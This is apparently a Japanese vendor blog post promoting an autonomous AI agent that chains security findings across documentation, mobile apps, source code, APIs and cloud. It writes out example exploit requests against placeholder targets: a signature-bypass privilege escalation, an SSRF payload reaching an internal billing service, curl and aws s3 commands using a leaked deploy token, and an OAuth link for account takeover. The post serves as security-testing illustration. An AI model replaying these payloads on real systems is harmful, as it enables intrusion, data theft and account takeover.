Multi-Asset Deep Agentic Scanのご紹介：アプリケーション全体をつなぐテスト

Multi-Asset Deep Agentic Scanは、関連するモバイル・Web・API・ネットワーク・ソースコード・ドキュメントのアセットを、つながった一つのエージェント型調査で評価します。

Abir Jelti 2026年9月2日

ある組織のアーキテクチャドキュメント、APIスキーマ、モバイルアプリケーション、バックエンドのソースコード、そして稼働中のWebサービスへのアクセスを、同じ一つの評価の中で与えられた自律型のセキュリティエージェントを想像してみてください。

そのエージェントが、つながった一つのワークフローの中で5つのアセット境界すべてにまたがって調査すると、何が起きるかを以下に示します。

ドキュメントを読む：開発者向けのアーキテクチャドキュメントを取り込む中で、エージェントは公表されていない特権ルート/api/v2/user/elevate-tierを発見します。ドキュメントには、このエンドポイントが暗号による署名を用いた認証済みモバイルクライアントのセッションに厳格に限定されていると記されています。
APIスキーマを解析する：エージェントはOpenAPIスキーマを調べ、想定されるパラメーターを特定します。target_user_id、requested_tier: "enterprise_verified"、そして必須ヘッダー（X-Device-Id、X-Timestamp、X-App-Signature）です。
モバイルアプリをリバースエンジニアリングする：モバイルアプリケーションのバイナリ（.apk）を逆コンパイルし、エージェントはネットワーク処理のルーチンをたどってX-App-Signatureの生成方法を特定します。これはタイムスタンプとリクエストボディに対して計算されるHMAC-SHA256署名でした。
バックエンドのソースコードをレビューする：バックエンドのリポジトリ（auth_middleware.py）を相互参照し、エージェントはサーバーが受信した署名をどう検証するかを調べます。そして認可ロジックの不備を見つけ出します。文書化されていないクエリパラメーター?client_mode=legacy_syncを渡すと、検証関数が早期にTrueを返し、暗号署名のチェックが完全にバイパスされてしまうのです。
稼働中のAPI検証を実行する：ドキュメントから得たルート、OpenAPIから得たペイロードスキーマ、モバイルバイナリから得たクライアントヘッダー、そしてソースコードから得たバイパスロジックを組み合わせ、エージェントは稼働中のAPIへのHTTPリクエストを作成して送信します。リクエストは成功し、認可されていない権限昇格を実証して、検証済みで再現可能な概念実証（PoC）を提供します。

POST /api/v2/user/elevate-tier?client_mode=legacy_sync HTTP/1.1
Host: api.target-app.com
X-Device-Id: mobile-client-anonymous
X-Timestamp: 1724687520
Content-Type: application/json

{
  "target_user_id": "usr_94827104",
  "requested_tier": "enterprise_verified"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "user_id": "usr_94827104",
  "tier": "enterprise_verified",
  "auth_mode": "legacy_sync"
}

サイロ化したツールが現代の脆弱性を見逃す理由

現実の攻撃者は、ツールの境界やアセットの分類を尊重したりはしません。偵察を「SASTスキャン」「DASTクロール」「モバイルのリバースエンジニアリング」といった区画に分けることもしません。そうではなく、攻撃者は企業のフットプリントを、信頼関係・共有されたシークレット・検証されていないインターフェースが連続して相互につながった網として捉えます。

彼らはシステム同士のつなぎ目、すなわち、あるチームやコンポーネントが置いた前提が、別のものとやり取りした途端に崩れる、まさにその断層線を積極的に探し出します。

従来のセキュリティテストツールは、根本的に単一アセットのサイロに制約されているため、現代のアーキテクチャに対して体系的に失敗します。

┌─────────────────────────────────────────────────────────────────────────────┐
│                   THE SILOED SCANNING BLIND SPOT                           │
└─────────────────────────────────────────────────────────────────────────────┘

  [ Documentation ]  ──► Unread by scanners (Hidden routes, trust boundaries ignored)
          │
  [ Mobile Binary ]  ──► Analyzed in isolation (Client crypto verified; server blind)
          │
  [ Source Code   ]  ──► SAST flags 1,000+ theoretical flaws (No reachability)
          │
  [ Web API / App ]  ──► DAST blocked by 401/403 walls & missing client signatures
          │
  [ Network / Cloud] ──► Port scans show open ports (Zero business logic context)

1. SAST：到達可能性のないまま誤検知に溺れる

静的アプリケーションセキュリティテスト（SAST）ツールは、ソースコードリポジトリ内の抽象構文木（AST）を解析します。理論上のコードパターンの特定には有効ですが、SASTは深刻な構造的盲点を抱えています。 * 到達可能性のコンテキストがゼロ：SASTは、脆弱なコードの分岐が実際にAPIゲートウェイを通じて露出しているのか、イングレスコントローラーの背後にデプロイされているのか、あるいはネットワークのファイアウォールで守られているのかを判定できません。 * アラート疲れ：セキュリティエンジニアや開発者は、順位付けされていない何百もの警告に圧倒されます。そのうち85%超は本番環境では悪用不可能です。 * デプロイのコンテキストの欠如：SASTは、認証されていないメソッドが実際の実行時パラメーターで呼び出されるのか、それとも上流のミドルウェアでバイパスされるのかを検証できません。

2. DAST：401/403の壁と暗号署名にぶつかる

動的アプリケーションセキュリティテスト（DAST）やブラックボックス型のWeb脆弱性スキャナーは、外部から公開URLに対して当てずっぽうのHTTPリクエストを放ちます。 * 認証の障壁：現代のアプリケーションは、多要素認証、OAuthフロー、端末に紐づくセッショントークンを強制します。DASTツールは認証状態を失ったり、複雑なログインフローをたどれなかったりすることが頻繁にあります。 * 暗号署名：APIがカスタムのクライアントヘッダー（HMAC-SHA256のリクエスト署名、相互TLS、モバイルアプリ内で生成される動的なタイムスタンプのnonceなど）を要求する場合、DASTのリクエストは境界で即座に401 Unauthorizedや403 Forbiddenとして拒否されます。 * パラメーターへの無知：DASTは、内部の可視性なしには、隠れたデバッグパラメーター（?client_mode=legacy_syncなど）や、文書化されていない内部スキーマを推測できません。

3. モバイルAST：クライアントのサンドボックスに閉じている

モバイルアプリケーションセキュリティテストツールは、APKやIPAを逆コンパイルして、クライアント側の堅牢化、キーストアの実装、難読化を評価します。 * 一方向の可視性：モバイルASTは、AndroidやiOSのアプリが強固な暗号署名、堅牢な証明書ピンニング、安全なローカルストレージを実装していることを確認します。 * バックエンドへの盲目性：モバイルスキャナーには、バックエンドのAPIサーバーが実際にそれらの暗号チェックを強制しているのか、あるいはサーバー側のコードにレガシーな認可バイパスが含まれているのかについて、まったく可視性がありません。

4. ネットワークスキャナー：アプリケーションの意味を欠く

ネットワークやインフラのスキャナーは、IPレンジを走査して、開いているTCP/UDPポート、TLS証明書の有効性、露出したサービスバナーを調べます。 * ビジネスロジックがない：ポートスキャナーはポート443や8080が開いていることは特定できますが、複数ステップのAPIワークフロー、JSONペイロード、マルチテナントの認可ロジックは理解できません。 * 境界での孤立：ネットワークスキャナーは、開いている内部ポートを、ピボットの足がかりになり得る外部のWebアプリケーションの脆弱性と関連付けることができません。

セキュリティテストが孤立したサイロに分割されると、ドキュメント、クライアントバイナリ、バックエンドのリポジトリ、そして稼働中のクラウド環境にまたがる重大な脆弱性は、完全に見えないままになります。

現実のマルチホップなクロスアセット攻撃チェーン

相互につながったエージェント型の推論が、複雑な脆弱性をどう暴き出すかを示すために、現実のアプリケーションのフットプリントで特定された3つの具体的なマルチホップ攻撃チェーンを見ていきましょう。

攻撃チェーン1：アーキテクチャドキュメント + WebアプリのSSRF + 内部マイクロサービスへのピボット

現代のクラウドアーキテクチャでは、組織は内部マイクロサービスを認証なしでデプロイし、隔離を完全にVPCのネットワーク境界に頼っていることが少なくありません。

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Architecture Docs │ ───► │ 2. Public Web App    │ ───► │ 3. Internal Microservice  │
│ Discovers internal   │      │ Finds Blind SSRF     │      │ Extracts sensitive        │
│ billing endpoint     │      │ in avatar import     │      │ customer financial data   │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. INGESTION  : Agent indexes architecture docs (architecture_overview.md)  │
│                 Identifies: http://10.0.4.12:8080/internal/billing/export    │
│ 2. RECON      : Agent crawls public web portal (app.target-company.com)      │
│                 Locates image import: POST /api/v1/profile/avatar-fetch     │
│ 3. HYPOTHESIS : Web app lacks RFC 1918 private IP filtering → SSRF pivot    │
│ 4. EXECUTION  : Agent dispatches SSRF payload targeting internal billing IP │
│ 5. VALIDATION : Server returns raw JSON billing records (Verified PoC)      │
└─────────────────────────────────────────────────────────────────────────────┘

アーキテクチャドキュメントの取り込み：ドキュメントの取り込みフェーズで、エージェントは内部のアーキテクチャ設計メモ（architecture_overview.md）をインデックス化します。このドキュメントは、http://10.0.4.12:8080/internal/billing/export, にデプロイされた内部の金融系マイクロサービスを詳述しており、このサービスは内部のプライベートVPCサブネット内に存在するため認証なしで動作すると明記されています。
Webアプリケーションのベクトルの発見：公開Webアプリケーション（https://app.target-company.com）をテストし、エージェントはユーザープロファイルの設定を解析して、リモートのimage_urlパラメーターを受け付ける画像インポートのエンドポイント/api/v1/profile/avatar-fetchを特定します。
クロスアセットなピボットの統合：ドキュメントから得た内部IPとルートを、公開Webアプリ上の検証されていないURL入力と関連付け、エージェントはピボットの仮説を立てます。すなわち、Webアプリケーションのサーバーサイドリクエストフォージェリ（SSRF）のベクトルを使って、認証のない内部の請求サービスに到達するというものです。
稼働環境での実行と検証済みのデータ持ち出し：エージェントは、公開Webエンドポイントを通じて細工したJSONペイロードを送出します。サーバーは内部サブネットに対してバックエンドの取得を実行し、顧客の生の請求レコードをHTTPレスポンスの中に直接返します。

POST /api/v1/profile/avatar-fetch HTTP/1.1
Host: app.target-company.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "user_id": "usr_55102",
  "image_url": "http://10.0.4.12:8080/internal/billing/export?format=json&limit=2"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "imported",
  "raw_data": {
    "transactions": [
      {
        "tx_id": "tx_99812",
        "amount": 4250.00,
        "currency": "USD",
        "customer_email": "cfo@enterprise-corp.com",
        "card_last4": "4242"
      },
      {
        "tx_id": "tx_99813",
        "amount": 18900.00,
        "currency": "USD",
        "customer_email": "treasury@fintech-global.io",
        "card_last4": "1098"
      }
    ]
  }
}

スキャンはこのトランザクションのフローを自動的に捕捉し、完全な悪用可能性を確認して、手動トリアージを一切必要とせずに確定的な概念実証を生成します。

攻撃チェーン2：ソースコードのシークレット漏えい + 稼働中のAPI + クラウドIAMの権限昇格

Gitのコミット履歴に取り残されたシークレットは、クラウド環境で高い権限を保持したまま、日常的なコードレビューでは検出を逃れることがよくあります。

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Git Commit History│ ───► │ 2. Live API Gateway  │ ───► │ 3. Cloud Storage / IAM    │
│ Unearths orphaned    │      │ Exchanges token for  │      │ Lists & accesses          │
│ staging deploy token │      │ temporary STS keys   │      │ production database dumps │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. STATIC REPO: Agent scans Git history; extracts stg_deploy_9f8a87b3c1d2e4  │
│ 2. LIVE PROBE : Tests token against live API (api.target-company.com/v1/sts)│
│ 3. PERMISSIONS: Obtains STS credentials; enumerates attached IAM policies   │
│ 4. ESCALATION : Discovers wildcard s3:GetObject & s3:ListBucket privileges  │
│ 5. VALIDATION : Executes live S3 bucket listing of prod database backups    │
└─────────────────────────────────────────────────────────────────────────────┘

リポジトリのコミット履歴のマイニング：エージェントは、マージされていないステージングブランチやコミットの差分を含め、ソースリポジトリを監査します。8か月前にコミットされたアーカイブ済みのスクリプト（scripts/deploy_staging.sh）の中から、エージェントは有効なデプロイトークンstg_deploy_9f8a87b3c1d2e4を掘り起こします。
稼働中のAPIでの認証：静的なシークレットの警告を生成するだけにとどまらず、エージェントはこの候補の認証情報を、稼働中の本番APIゲートウェイhttps://api.target-company.com/v1/internal/sts/token. に対して試します。ゲートウェイはトークンを検証し、一時的なクラウドセキュリティ認証情報（AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN）を発行します。
クラウドIAMの境界の評価：エージェントは、引き受けたセッションロール（Role/StagingDeployer）にアタッチされたIAMポリシーを調べ、コンピュートの権限は制限されている一方で、ストレージの権限に過度に寛容なワイルドカード、すなわちarn:aws:s3:::*に対するs3:ListBucketとs3:GetObjectが含まれていることを発見します。
機密なクラウドデータの稼働環境での検証：エージェントはクラウドストレージのエンドポイントに対して署名付きのリクエストを実行し、本番データベースのバックアップへの直接的で認可されていないアクセスを実証します。

# Automated Proof of Concept generated by Multi-Asset Deep Agentic Scan:

# Step 1: Authenticate against live API with discovered repository secret
curl -s -X POST "https://api.target-company.com/v1/internal/sts/token" \
  -H "X-Deploy-Token: stg_deploy_9f8a87b3c1d2e4" \
  -H "Content-Type: application/json"

# Returned Session Credentials:
# {
#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
#   "SessionToken": "AQoDYXdzEJr1...",
#   "Expiration": "2026-09-02T14:00:00Z"
# }

# Step 2: Validate live cloud storage access
aws s3 ls s3://prod-customer-backups-2026/ --region us-east-1

# Output:
# 2026-09-01 04:00:15  14.5GB  prod_db_dump_20260901.sql.gz
# 2026-09-02 04:00:12  14.8GB  prod_db_dump_20260902.sql.gz

攻撃チェーン3：モバイルのディープリンク + WebのOAuth設定ミス + アカウント乗っ取り

クライアント側のモバイルアプリケーションの設定は、シングルサインオン（SSO）の認証フローの際に、サーバー側のアイデンティティプロバイダーと危険な形で交差することがよくあります。

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Mobile Decompile  │ ───► │ 2. Web OAuth Server  │ ───► │ 3. Account Takeover       │
│ Uncovers exported    │      │ Identifies wildcard  │      │ Intercepts auth codes via │
│ custom deep link URI │      │ redirect_uri scheme  │      │ malicious redirect chain  │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. DECOMPILE  : Agent decompiles Android manifest & locates exported handler│
│                 Activity: OAuthRedirectActivity (scheme: myapp://auth/cb)   │
│ 2. CODE AUDIT : Activity accepts code & exchanges tokens without PKCE/state │
│ 3. OAUTH PROBE: Web OAuth server allows custom URI schemes for public client│
│ 4. SYNTHESIS  : Agent constructs crafted authorization URL with deep link   │
│ 5. VALIDATION : Intercepts authorization code, proving account takeover PoC │
└─────────────────────────────────────────────────────────────────────────────┘

モバイルのディープリンクのリバースエンジニアリング：Androidアプリケーションパッケージ（.apk）を逆コンパイルし、エージェントはAndroidManifest.xmlを解析して、カスタムのディープリンクのコールバックを処理するよう設定されたエクスポートされたアクティビティを発見します。

<activity android:name=".ui.auth.OAuthRedirectActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" android:host="auth" android:path="/callback" />
    </intent-filter>
</activity>

クライアント側のトークンハンドシェイクの監査：OAuthRedirectActivity.ktにおいて、エージェントは、アプリケーションが認可コードを含む受信インテント（myapp://auth/callback?code=...）を受け取ると、stateパラメーターを検証することもPKCE（Proof Key for Code Exchange）を強制することもなく、即座にその認可コードをセッショントークンと交換することを発見します。
WebのOAuthエンドポイントの探索：WebのOAuth 2.0認可サーバー（https://auth.target-company.com/oauth/v2/authorize）をテストし、エージェントは、このサーバーがパブリッククライアントIDに対してカスタムのURIスキームを許可し、redirect_uriパラメーターに対して緩い正規表現による検証しか行っていないことを発見します。
アカウント乗っ取りPoCの統合：エージェントは、悪用のための認可リンクを構築します。

https://auth.target-company.com/oauth/v2/authorize?client_id=web_client_public&response_type=code&redirect_uri=myapp://auth/callback&scope=openid%20profile%20email

認証済みの被害者がこのリンクを訪れると、OAuthサーバーは認可コードを発行し、カスタムのモバイルURIスキームへ直接リダイレクトします。端末に登録された悪意あるアプリケーション、あるいは不正なWebリダイレクトハンドラーが、その認可コードを傍受し、操作を一切伴わない完全なアカウント乗っ取りに至ります。

パラダイムシフト：統合された認知グラフによる自律型レッドチーミング

従来のアプローチは、個別のスキャナーを並行して実行し、その検出結果を中央の脆弱性管理ダッシュボードに集約することで、ツールのサイロを橋渡ししようとします。

この集約がうまくいかないのは、集約は相関ではなく、相関は推論ではないからです。

Gitから得た静的なシークレットを、ネットワークスキャンで見つかった開放ポートと並べて表示するダッシュボードは、そのシークレットがそのポート上のAPIを開錠することを認識できません。Multi-Asset Deep Agentic Scanは、根本的なパラダイムシフト、すなわち統合された認知グラフ上で動作する自律型レッドチームを体現します。

┌─────────────────────────────────────────────────────────────────────────────┐
│                   UNIFIED COGNITIVE ATTACK GRAPH                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                       │
            ┌──────────────────────────┼──────────────────────────┐
            ▼                          ▼                          ▼
    [Documentation]             [Mobile Binary]            [Source Code]
    - Routes & Endpoints        - Cryptographic signing    - Logic bypass flaws
    - Internal network IP       - Exported deep links      - Leaked secrets
            │                          │                          │
            └──────────────────────────┼──────────────────────────┘
                                       ▼
                       [Dynamic Hypothesis Engine]
                     "Can Secret A unlock API Route B?"
                     "Can SSRF C reach Internal Service D?"
                                       │
            ┌──────────────────────────┴──────────────────────────┐
            ▼                                                     ▼
     [Live Web Application]                               [Cloud Infrastructure]
     - Runtime parameter testing                          - IAM privilege evaluation
     - Live exploit verification                          - Data access proof
                                       │
                                       ▼
                     [Verified Proof of Concept (PoC)]
                     Zero Hallucinations · 100% Signal

自律型のクロスアセット推論サイクル

Multi-Asset Deep Agentic Scanは、直線的なスクリプトを実行する代わりに、提供されたすべてのアセットにまたがる反復的な認知ループを回します。

エンティティと関係性の取り込み：ドキュメントで発見されたあらゆるルート、モバイルアプリから逆コンパイルされた暗号アルゴリズム、Gitから解析されたコードの分岐、Webトラフィックで観測されたパラメーターが、共有のセマンティックグラフ内で相互につながったノードとしてマッピングされます。
動的な仮説の構築：あるアセットで新たなエビデンスが見つかると、認知エンジンはスコープ内のほかのアセットに対して能動的なセキュリティ仮説を立てます（例：「auth_middleware.pyで見つかったバイパスパラメーターは、OpenAPIドキュメントで発見された稼働中の/api/v2/user/elevate-tierエンドポイントで機能するか」）。
狙いを定めたペイロードの統合：エージェントは、スキーマから得たパラメーター、バイナリから得た署名ロジック、コードから得たシークレットを組み合わせた、コンテキストを踏まえた悪用ペイロードを統合します。
稼働環境での実行と状態の検証：エージェントは稼働中の実行環境に対してペイロードを送出し、レスポンスを観察し、サーバーのフィードバックに基づいて戦略を適応させます。
確定的な概念実証の提供：検出結果は、稼働環境での検証に成功して初めて報告されます。これにより、最終レポートのあらゆるアラートが、再現可能で検証済みの概念実証に裏付けられていることが保証されます。

各アセットを深くテストし、それらをまたいでつながった調査を行う

Multi-Asset Deep Agentic Scanは、広範なクロスアセットのカバレッジのために、アセット固有の深さを犠牲にすることはありません。評価に含まれる各アセットは、専用のスキャナーとドメイン固有のエージェントで解析されます。

モバイルアプリケーション：完全な静的・動的解析、バイナリの逆コンパイル、インテントの操作、暗号の監査、クライアントストレージの調査。
WebアプリケーションとAPI：深いステートフルなクロール、認証フローのテスト、ビジネスロジックの評価、インジェクションのテスト、OpenAPIスキーマの検証。
ソースコードリポジトリ：ASTレベルの制御フロー解析、汚染データの追跡、認可ロジックの監査、コミット履歴のシークレット調査。
ネットワークとクラウドサービス：サービスの列挙、境界ポリシーの検証、クラウドIAMの境界テスト。
ドキュメントと仕様：OpenAPI/Swagger仕様、Postmanコレクション、アーキテクチャ図、社内のエンジニアリングドキュメントの取り込み。

┌─────────────────────────┬───────────────────────────────────┬───────────────────────────────────┐
│ Assessment Capability   │ Traditional Siloed Scanners       │ Multi-Asset Deep Agentic Scan     │
├─────────────────────────┼───────────────────────────────────┼───────────────────────────────────┤
│ Attack Surface Scope    │ Single asset per scan             │ Unified multi-asset application   │
│ Cross-Boundary Pivots   │ Impossible (Strictly isolated)    │ Native multi-hop reasoning        │
│ Authentication Handling │ Blocked by custom headers/crypto  │ Reverses client auth & signatures │
│ Finding Validation      │ Theoretical alerts & warnings     │ Executable, verified PoCs         │
│ False Positive Rate     │ High (Requires manual triage)     │ Reduced (Execution-verified)      │
│ Context Sharing         │ Zero context between tools        │ Real-time unified cognitive graph │
└─────────────────────────┴───────────────────────────────────┴───────────────────────────────────┘

現代のアプリケーションのための、つながったスコープ

現代のアプリケーションは、分散し、相互につながったエコシステムです。それらを守るには、ソフトウェアが実際にどう作られているか、そして攻撃者が実際にどう侵入するかを反映したセキュリティテストが必要です。

Multi-Asset Deep Agentic Scanは、各アセットを深く調査し、システムのつなぎ目をまたいで手がかりをたどり、検証済みの概念実証で実際のビジネスリスクを実証する、自律的で境界をまたぐテスト機能をセキュリティチームに提供します。

Multi-Asset Deep Agentic Scanを開始し、つながったアプリケーションのエコシステムを今すぐ評価しましょう。

タグ：

Security, Multi-Asset, AI, Automation, Deep Agentic Scan